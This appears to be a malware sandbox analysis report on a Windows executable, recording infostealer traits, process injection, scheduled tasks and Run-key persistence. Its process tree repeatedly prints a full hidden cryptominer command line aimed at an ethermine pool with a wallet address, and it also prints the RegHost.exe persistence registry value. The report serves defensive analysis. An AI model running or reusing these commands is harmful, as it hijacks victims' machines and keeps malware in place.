6f4cc8876fbf0a34d567c12950b086a62cd6cc6e872b459209db3234915ef621

Analysis

max time kernel
152s
max time network
121s
platform
windows10_x64
resource
win10-en-20211208
submitted
10/01/2022, 08:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
cced2314b659cadabff1c79a158444d5.exe
Size 989KB
Sample220110-kr61paedak
SHA256 6f4cc8876fbf0a34d567c12950b086a62cd6cc6e872b459209db3234915ef621
MD5 cced2314b659cadabff1c79a158444d5
SHA1 7128e74a88679992f5077632387f03419baaed0c
SHA512 db5e654a058813930a29300c952e2166e76e7a94919b39ab1e19e7d332f296212070d3e5c5f47ac96fb25fdbfc49f26246868592aa97f417875ad198da580754
MD5 SHA1 SHA512

Score

8^/10

discovery persistence spyware stealer vmprotect

Malware Config

Signatures

Downloads MZ/PE file

Executes dropped EXE 27 IoCs

pid	Process
504	safas2f.exe
3320	whw.exe
1236	e3dwefw.exe
1176	RegHost.exe
904	RegHost.exe
3880	deadcloud1_build.exe
3044	RegHost.exe
2700	RegHost.exe
3908	RegHost.exe
996	services.exe
3884	oobeldr.exe
1152	RegHost.exe
1132	RegHost.exe
1200	RegHost.exe
3088	RegHost.exe
1296	RegHost.exe
3748	RegHost.exe
2832	RegHost.exe
2080	RegHost.exe
2752	RegHost.exe
824	RegHost.exe
1388	RegHost.exe
3024	RegHost.exe
3712	RegHost.exe
1064	RegHost.exe
3800	RegHost.exe
1328	RegHost.exe

VMProtect packed file 6 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral2/files/0x0002000000015259-200.dat	vmprotect
behavioral2/files/0x0002000000015259-201.dat	vmprotect
behavioral2/memory/3880-202-0x0000000000400000-0x0000000001049000-memory.dmp	vmprotect
behavioral2/files/0x000500000001ab3d-248.dat	vmprotect
behavioral2/files/0x000500000001ab3d-249.dat	vmprotect
behavioral2/memory/996-250-0x0000000000400000-0x0000000001049000-memory.dmp	vmprotect

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 21 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	safas2f.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs

pid	Process
504	safas2f.exe
504	safas2f.exe
672	bfsvc.exe
672	bfsvc.exe
1176	RegHost.exe
1176	RegHost.exe
1064	bfsvc.exe
1064	bfsvc.exe
904	RegHost.exe
904	RegHost.exe
2460	bfsvc.exe
2460	bfsvc.exe
3044	RegHost.exe
3044	RegHost.exe
2192	bfsvc.exe
2192	bfsvc.exe
2700	RegHost.exe
2700	RegHost.exe
2268	bfsvc.exe
2268	bfsvc.exe
3908	RegHost.exe
3908	RegHost.exe
2592	bfsvc.exe
2592	bfsvc.exe
1152	RegHost.exe
1152	RegHost.exe
1812	bfsvc.exe
1812	bfsvc.exe
1132	RegHost.exe
1132	RegHost.exe
3096	bfsvc.exe
3096	bfsvc.exe
1200	RegHost.exe
1200	RegHost.exe
388	bfsvc.exe
388	bfsvc.exe
3088	RegHost.exe
3088	RegHost.exe
3948	bfsvc.exe
3948	bfsvc.exe
1296	RegHost.exe
1296	RegHost.exe
1928	bfsvc.exe
1928	bfsvc.exe
3748	RegHost.exe
3748	RegHost.exe
3568	bfsvc.exe
3568	bfsvc.exe
2832	RegHost.exe
2832	RegHost.exe
3880	bfsvc.exe
3880	bfsvc.exe
2080	RegHost.exe
2080	RegHost.exe
2468	bfsvc.exe
2468	bfsvc.exe
2752	RegHost.exe
2752	RegHost.exe
408	bfsvc.exe
408	bfsvc.exe
824	RegHost.exe
824	RegHost.exe
4080	bfsvc.exe
4080	bfsvc.exe

Suspicious use of SetThreadContext 43 IoCs

description	pid	Process	procid_target
PID 2416 set thread context of 3668	2416	cced2314b659cadabff1c79a158444d5.exe	68
PID 504 set thread context of 672	504	safas2f.exe	77
PID 504 set thread context of 1732	504	safas2f.exe	78
PID 1176 set thread context of 1064	1176	RegHost.exe	82
PID 1176 set thread context of 4016	1176	RegHost.exe	83
PID 904 set thread context of 2460	904	RegHost.exe	87
PID 904 set thread context of 1156	904	RegHost.exe	88
PID 3044 set thread context of 2192	3044	RegHost.exe	93
PID 3044 set thread context of 2128	3044	RegHost.exe	94
PID 2700 set thread context of 2268	2700	RegHost.exe	101
PID 2700 set thread context of 1516	2700	RegHost.exe	102
PID 3908 set thread context of 2592	3908	RegHost.exe	106
PID 3908 set thread context of 3124	3908	RegHost.exe	107
PID 1152 set thread context of 1812	1152	RegHost.exe	117
PID 1152 set thread context of 3940	1152	RegHost.exe	119
PID 1132 set thread context of 3096	1132	RegHost.exe	122
PID 1132 set thread context of 3564	1132	RegHost.exe	123
PID 1200 set thread context of 388	1200	RegHost.exe	127
PID 1200 set thread context of 1820	1200	RegHost.exe	128
PID 3088 set thread context of 3948	3088	RegHost.exe	132
PID 3088 set thread context of 1684	3088	RegHost.exe	134
PID 1296 set thread context of 1928	1296	RegHost.exe	138
PID 1296 set thread context of 2500	1296	RegHost.exe	140
PID 3748 set thread context of 3568	3748	RegHost.exe	144
PID 3748 set thread context of 3932	3748	RegHost.exe	146
PID 2832 set thread context of 3880	2832	RegHost.exe	149
PID 2832 set thread context of 4048	2832	RegHost.exe	151
PID 2080 set thread context of 2468	2080	RegHost.exe	154
PID 2080 set thread context of 3968	2080	RegHost.exe	156
PID 2752 set thread context of 408	2752	RegHost.exe	159
PID 2752 set thread context of 1668	2752	RegHost.exe	161
PID 824 set thread context of 4080	824	RegHost.exe	164
PID 824 set thread context of 1824	824	RegHost.exe	165
PID 1388 set thread context of 596	1388	RegHost.exe	169
PID 1388 set thread context of 396	1388	RegHost.exe	170
PID 3024 set thread context of 2328	3024	RegHost.exe	174
PID 3024 set thread context of 608	3024	RegHost.exe	175
PID 3712 set thread context of 3708	3712	RegHost.exe	179
PID 3712 set thread context of 3180	3712	RegHost.exe	181
PID 1064 set thread context of 3132	1064	RegHost.exe	184
PID 1064 set thread context of 1656	1064	RegHost.exe	185
PID 3800 set thread context of 416	3800	RegHost.exe	189
PID 3800 set thread context of 3324	3800	RegHost.exe	190

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
388	schtasks.exe
3436	schtasks.exe
1184	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3668	RegAsm.exe
3668	RegAsm.exe
1732	explorer.exe
1732	explorer.exe
1732	explorer.exe
1732	explorer.exe
1732	explorer.exe
1732	explorer.exe
1732	explorer.exe
1732	explorer.exe
1732	explorer.exe
1732	explorer.exe
3668	RegAsm.exe
3320	whw.exe
4016	explorer.exe
4016	explorer.exe
4016	explorer.exe
4016	explorer.exe
4016	explorer.exe
4016	explorer.exe
4016	explorer.exe
4016	explorer.exe
4016	explorer.exe
4016	explorer.exe
4016	explorer.exe
4016	explorer.exe
4016	explorer.exe
4016	explorer.exe
4016	explorer.exe
4016	explorer.exe
4016	explorer.exe
4016	explorer.exe
4016	explorer.exe
4016	explorer.exe
1156	explorer.exe
1156	explorer.exe
1156	explorer.exe
1156	explorer.exe
1156	explorer.exe
1156	explorer.exe
1156	explorer.exe
1156	explorer.exe
1156	explorer.exe
1156	explorer.exe
3880	deadcloud1_build.exe
3880	deadcloud1_build.exe
1156	explorer.exe
1156	explorer.exe
1156	explorer.exe
1156	explorer.exe
1156	explorer.exe
1156	explorer.exe
1156	explorer.exe
1156	explorer.exe
1156	explorer.exe
1156	explorer.exe
2128	explorer.exe
2128	explorer.exe
2128	explorer.exe
2128	explorer.exe
2128	explorer.exe
2128	explorer.exe
2128	explorer.exe
2128	explorer.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3668	RegAsm.exe
Token: SeDebugPrivilege	3320	whw.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2416 wrote to memory of 3668	2416	cced2314b659cadabff1c79a158444d5.exe	68
PID 2416 wrote to memory of 3668	2416	cced2314b659cadabff1c79a158444d5.exe	68
PID 2416 wrote to memory of 3668	2416	cced2314b659cadabff1c79a158444d5.exe	68
PID 2416 wrote to memory of 3668	2416	cced2314b659cadabff1c79a158444d5.exe	68
PID 2416 wrote to memory of 3668	2416	cced2314b659cadabff1c79a158444d5.exe	68
PID 2416 wrote to memory of 3668	2416	cced2314b659cadabff1c79a158444d5.exe	68
PID 2416 wrote to memory of 3668	2416	cced2314b659cadabff1c79a158444d5.exe	68
PID 2416 wrote to memory of 3668	2416	cced2314b659cadabff1c79a158444d5.exe	68
PID 3668 wrote to memory of 504	3668	RegAsm.exe	71
PID 3668 wrote to memory of 504	3668	RegAsm.exe	71
PID 3668 wrote to memory of 3320	3668	RegAsm.exe	73
PID 3668 wrote to memory of 3320	3668	RegAsm.exe	73
PID 3668 wrote to memory of 3320	3668	RegAsm.exe	73
PID 3668 wrote to memory of 1236	3668	RegAsm.exe	74
PID 3668 wrote to memory of 1236	3668	RegAsm.exe	74
PID 3668 wrote to memory of 1236	3668	RegAsm.exe	74
PID 1236 wrote to memory of 388	1236	e3dwefw.exe	75
PID 1236 wrote to memory of 388	1236	e3dwefw.exe	75
PID 1236 wrote to memory of 388	1236	e3dwefw.exe	75
PID 504 wrote to memory of 672	504	safas2f.exe	77
PID 504 wrote to memory of 672	504	safas2f.exe	77
PID 504 wrote to memory of 672	504	safas2f.exe	77
PID 504 wrote to memory of 672	504	safas2f.exe	77
PID 504 wrote to memory of 672	504	safas2f.exe	77
PID 504 wrote to memory of 672	504	safas2f.exe	77
PID 504 wrote to memory of 672	504	safas2f.exe	77
PID 504 wrote to memory of 672	504	safas2f.exe	77
PID 504 wrote to memory of 672	504	safas2f.exe	77
PID 504 wrote to memory of 672	504	safas2f.exe	77
PID 504 wrote to memory of 672	504	safas2f.exe	77
PID 504 wrote to memory of 672	504	safas2f.exe	77
PID 504 wrote to memory of 672	504	safas2f.exe	77
PID 504 wrote to memory of 672	504	safas2f.exe	77
PID 504 wrote to memory of 672	504	safas2f.exe	77
PID 504 wrote to memory of 672	504	safas2f.exe	77
PID 504 wrote to memory of 672	504	safas2f.exe	77
PID 504 wrote to memory of 672	504	safas2f.exe	77
PID 504 wrote to memory of 672	504	safas2f.exe	77
PID 504 wrote to memory of 1732	504	safas2f.exe	78
PID 504 wrote to memory of 1732	504	safas2f.exe	78
PID 504 wrote to memory of 1732	504	safas2f.exe	78
PID 504 wrote to memory of 1732	504	safas2f.exe	78
PID 504 wrote to memory of 1732	504	safas2f.exe	78
PID 504 wrote to memory of 1732	504	safas2f.exe	78
PID 504 wrote to memory of 1732	504	safas2f.exe	78
PID 504 wrote to memory of 1732	504	safas2f.exe	78
PID 504 wrote to memory of 1732	504	safas2f.exe	78
PID 504 wrote to memory of 1732	504	safas2f.exe	78
PID 504 wrote to memory of 1732	504	safas2f.exe	78
PID 504 wrote to memory of 1732	504	safas2f.exe	78
PID 504 wrote to memory of 1732	504	safas2f.exe	78
PID 504 wrote to memory of 1732	504	safas2f.exe	78
PID 504 wrote to memory of 1732	504	safas2f.exe	78
PID 504 wrote to memory of 1732	504	safas2f.exe	78
PID 504 wrote to memory of 1732	504	safas2f.exe	78
PID 1732 wrote to memory of 1176	1732	explorer.exe	80
PID 1732 wrote to memory of 1176	1732	explorer.exe	80
PID 1176 wrote to memory of 1064	1176	RegHost.exe	82
PID 1176 wrote to memory of 1064	1176	RegHost.exe	82
PID 1176 wrote to memory of 1064	1176	RegHost.exe	82
PID 1176 wrote to memory of 1064	1176	RegHost.exe	82
PID 1176 wrote to memory of 1064	1176	RegHost.exe	82
PID 1176 wrote to memory of 1064	1176	RegHost.exe	82
PID 1176 wrote to memory of 1064	1176	RegHost.exe	82

C:\Users\Admin\AppData\Local\Temp\cced2314b659cadabff1c79a158444d5.exe
"C:\Users\Admin\AppData\Local\Temp\cced2314b659cadabff1c79a158444d5.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2416
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  #cmd
  2⤵
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3668
- - C:\Users\Admin\AppData\Roaming\safas2f.exe
    "C:\Users\Admin\AppData\Roaming\safas2f.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:504
  - - C:\Windows\bfsvc.exe
      C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
      4⤵
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:672
  - - C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1732
    - - C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:1176
      - C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        6⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1064
      - C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4016
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        7⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:904
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        8⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2460
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1156
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        9⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:3044
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        10⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2192
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        10⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2128
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        11⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:2700
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        12⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2268
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        12⤵
        
        PID:1516
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        13⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:3908
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        14⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2592
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        14⤵
        
        PID:3124
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        15⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:1152
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        16⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1812
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        16⤵
        
        PID:3940
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        17⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:1132
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        18⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3096
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        18⤵
        
        PID:3564
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        19⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:1200
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        20⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:388
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        20⤵
        
        PID:1820
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        21⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:3088
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        22⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3948
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        22⤵
        
        PID:1684
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        23⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:1296
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        24⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1928
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        24⤵
        
        PID:2500
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        25⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:3748
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        26⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3568
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        26⤵
        
        PID:3932
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        27⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:2832
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        28⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3880
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        28⤵
        
        PID:4048
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        29⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:2080
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        30⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2468
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        30⤵
        
        PID:3968
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        31⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:2752
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        32⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:408
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        32⤵
        
        PID:1668
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        33⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:824
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        34⤵
